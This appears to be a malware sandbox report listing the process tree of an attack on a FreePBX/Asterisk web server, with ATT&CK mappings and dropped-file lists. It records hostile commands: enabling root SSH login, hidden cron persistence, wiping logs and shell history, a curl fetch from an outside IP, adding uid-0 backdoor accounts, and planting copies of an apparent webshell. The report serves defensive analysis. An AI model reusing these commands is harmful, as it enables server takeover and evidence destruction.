/bin/sedsed -i "s/^#Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^Port .*/Port 22/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^#PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/sedsed -i "s/^PermitRootLogin .*/PermitRootLogin yes/" /etc/ssh/sshd_config3⤵
-
-
/bin/systemctlsystemctl reload sshd3⤵
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j ACCEPT3⤵
-
-
/usr/bin/findfind /var/log/httpd/ -maxdepth 1 -name "*.log" -type f -exec sed -i /restapps/d "{}" ";"3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd /usr/share/.fonts /var/lib/.dbus /var/tmp/.X11 /opt/.local /var/cache/.fontconfig /etc/.ssl /root/.config3⤵
-
-
/usr/bin/dirnamedirname /usr/lib/.systemd/.cache3⤵
-
-
/bin/mkdirmkdir -p /usr/lib/.systemd3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/lib/.systemd/.cache3⤵
-
-
/usr/bin/dirnamedirname /usr/share/.fonts/.config3⤵
-
-
/bin/mkdirmkdir -p /usr/share/.fonts3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /usr/share/.fonts/.config3⤵
-
-
/usr/bin/dirnamedirname /var/lib/.dbus/.data3⤵
-
-
/bin/mkdirmkdir -p /var/lib/.dbus3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/lib/.dbus/.data3⤵
-
-
/usr/bin/dirnamedirname /var/tmp/.X11/.Xauthority3⤵
-
-
/bin/mkdirmkdir -p /var/tmp/.X113⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/tmp/.X11/.Xauthority3⤵
-
-
/usr/bin/dirnamedirname /opt/.local/.bashrc3⤵
-
-
/bin/mkdirmkdir -p /opt/.local3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /opt/.local/.bashrc3⤵
-
-
/usr/bin/dirnamedirname /var/cache/.fontconfig/.cfg3⤵
-
-
/bin/mkdirmkdir -p /var/cache/.fontconfig3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg3⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert3⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /etc/.ssl/.cert3⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref3⤵
-
-
/bin/mkdirmkdir -p /root/.config3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /root/.config/.pref3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"3⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/Xorg.0.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/ubuntu-advantage.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
- Deletes Audit logs
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/gpu-manager.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/unattended-upgrades/unattended-upgrades-shutdown.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" "/var/log/messages*" /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"3⤵
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history3⤵
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/mkdirmkdir -p /var/www/html/rest_phones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/h/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/fpbxphones/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/phones/2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php2⤵
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/chmodchmod +x /var/www/html/admin/views/ajax.php2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chattrchattr +i /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +i /var/www/html/h.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/h.php2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /tmp/test.sh2⤵
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /var/spool/asterisk/tmp/test.sh2⤵
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
- Reads runtime system information
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
- Reads runtime system information
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /var/spool/asterisk/tmp/test.sh2⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
2Clear Linux or Mac System Logs
2Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
sedxQgFYP
sedyGOIeQ
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sedMZF4ts
sedVBCZWM
sedYgZ2JQ
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sed5T7VQY
sedFuQieX
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
examples.desktop
.bash_profile
.bash_profile
test.sh
.cache
tmp.9BWTrd
tmp.9aSXXb
tmp.DPTic5
tmp.DkCzGd
tmp.PVzb15
tmp.RF48y5
tmp.XaKT6f
tmp.dNrwL5
tmp.fKh7aa